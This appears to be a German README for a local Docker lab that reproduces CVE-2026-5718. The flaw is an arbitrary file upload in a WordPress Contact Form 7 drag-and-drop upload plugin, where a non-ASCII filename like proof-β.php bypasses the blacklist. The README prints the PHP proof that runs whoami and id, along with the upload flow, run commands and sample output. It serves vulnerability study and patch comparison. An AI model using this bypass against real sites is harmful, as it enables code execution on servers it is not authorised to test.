
# Lokales Docker-Labor zur Demonstration von CVE-2026-5718 – beliebigem Datei-Upload in einem WordPress-Plugin, mit verwundbaren und gepatchten Diensten für die parallele Analyse von Ausnutzung und Abwehr.
Nur-lokales Docker-Labor mit verwundbarer und gepatchter Umgebung für CVE-2026-5718, das das WordPress-Plugin Drag and Drop Multiple File Upload for Contact Form 7 betrifft.
Dieses Labor demonstriert den Unterschied zwischen der verwundbaren Version 1.3.9.6 und der gepatchten Version 1.3.9.7 mithilfe eines PHP-Ausführungsnachweises mit minimalem Schadenspotenzial in einer reinen Docker-Umgebung.
Geltungsbereich: nur localhost / Docker-Netzwerk. Verwenden Sie diesen PoC nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben.
CVE-2026-5718 ist eine Schwachstelle für beliebigen Datei-Upload in Drag and Drop Multiple File Upload for Contact Form 7 bis einschließlich Version 1.3.9.6.
Das Problem wird ausgelöst, wenn benutzerdefinierte Blacklist-Typen konfiguriert sind und ein Dateiname Nicht-ASCII-Zeichen enthält. In der verwundbaren Version kann ein gefährlicher .php-Upload den vorgesehenen Schutz umgehen und ausführbar bleiben. Version 1.3.9.7 behebt das Problem, indem derselbe Upload abgelehnt wird.
Dieses Repository enthält zwei lokale WordPress-Dienste:
vuln auf http://localhost:8081 mit Plugin-Version 1.3.9.6patched auf http://localhost:8082 mit Plugin-Version 1.3.9.7Host
├── http://localhost:8081 -> vulnerable WordPress service
└── http://localhost:8082 -> patched WordPress service
Docker network
├── vuln
├── vuln-db
├── patched
└── patched-db
| Dienst | Zweck | Host-Port | Version |
|---|---|---|---|
vuln | Verwundbares WordPress-Labor | 8081 | Plugin 1.3.9.6 |
patched | Gepatchtes WordPress-Labor | 8082 | Plugin 1.3.9.7 |
vuln-db | MySQL-Datenbank für den verwundbaren Dienst | intern | MySQL 8.0 |
patched-db | MySQL-Datenbank für den gepatchten Dienst | intern | MySQL 8.0 |
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
│ └── requirements.txt
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
Das eingerichtete Contact-Form-7-Formular enthält ein Drag and Drop Multiple File Upload-Feld:
[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]
Der PoC lädt eine PHP-Nachweisdatei mit folgendem Namen hoch:
proof-β.php
Das Zeichen β ist kein ASCII-Zeichen. Das ist wichtig, weil die Schwachstelle von der Dateinamenverarbeitung bei Nicht-ASCII-Eingaben abhängt.
Überblick über den Ablauf:
PoC
↓
Fetch lab page and extract DnD CF7 AJAX nonce
↓
Upload proof-β.php through wp-admin/admin-ajax.php
↓
Vulnerable 1.3.9.6 accepts and stores the file as .php
↓
PoC requests the uploaded file
↓
Vulnerable lab executes the PHP proof as www-data
Ablauf mit Patch:
PoC
↓
Upload the same proof-β.php file
↓
Patched 1.3.9.7 rejects the upload
↓
No PHP file is stored and no code execution occurs
Der hochgeladene PHP-Nachweis ist bewusst minimal gehalten:
<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>
Der Nachweis führt nur whoami und id aus, um den Ausführungskontext zu zeigen. Er verwendet keine Reverse Shell, keine Persistenz, keinen Zugriff auf Anmeldedaten, keine laterale Bewegung, kein Netzwerk-Scanning und keine destruktiven Aktionen.
Der verwundbare Dienst erlaubt absichtlich die PHP-Ausführung im Upload-Verzeichnis des Plugins, damit die Auswirkung in diesem lokalen Labor beobachtbar ist. Der gepatchte Dienst behält das sicherere Verhalten bei und lehnt den Upload bereits in der Anwendungsvalidierungsschicht ab.
Python-Abhängigkeiten installieren:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
Von einem sauberen Zustand aus starten:
docker compose down -v
docker compose up --build -d
Dienststatus prüfen:
docker compose ps
Die Laborseiten öffnen:
http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/
Gegen den verwundbaren Dienst ausführen:
python poc/poc.py --base-url http://localhost:8081
Gegen den gepatchten Dienst ausführen:
python poc/poc.py --base-url http://localhost:8082
Der PoC akzeptiert nur localhost- oder Loopback-Ziele.
Erwartetes Verhalten:
.php-Datei.Beispielausgabe:
Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}
Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)
[result] VULNERABLE behavior observed: uploaded PHP proof executed.
Erwartetes Verhalten:
Beispielausgabe:
Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}
[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type
Dieses Labor ist bewusst auf lokale Tests beschränkt.
Der PoC:
whoami und id aus.Der verwundbare Dienst lockert die PHP-Ausführung im Upload-Verzeichnis nur, um den lokalen Nachweis beobachtbar zu machen. Übernehmen Sie diese Konfiguration nicht in die Produktion.
Container stoppen:
docker compose down
Container und Volumes entfernen:
docker compose down -v
Die Python-Virtual-Environment entfernen:
rm -rf .venv
NVD: CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718
Patchstack-Sicherheitshinweis: WordPress Drag and Drop Multiple File Upload for Contact Form 7 Plugin <= 1.3.9.6 - Nicht authentifizierter beliebiger Datei-Upload über Nicht-ASCII-Dateinamen-Blacklist-Bypass https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability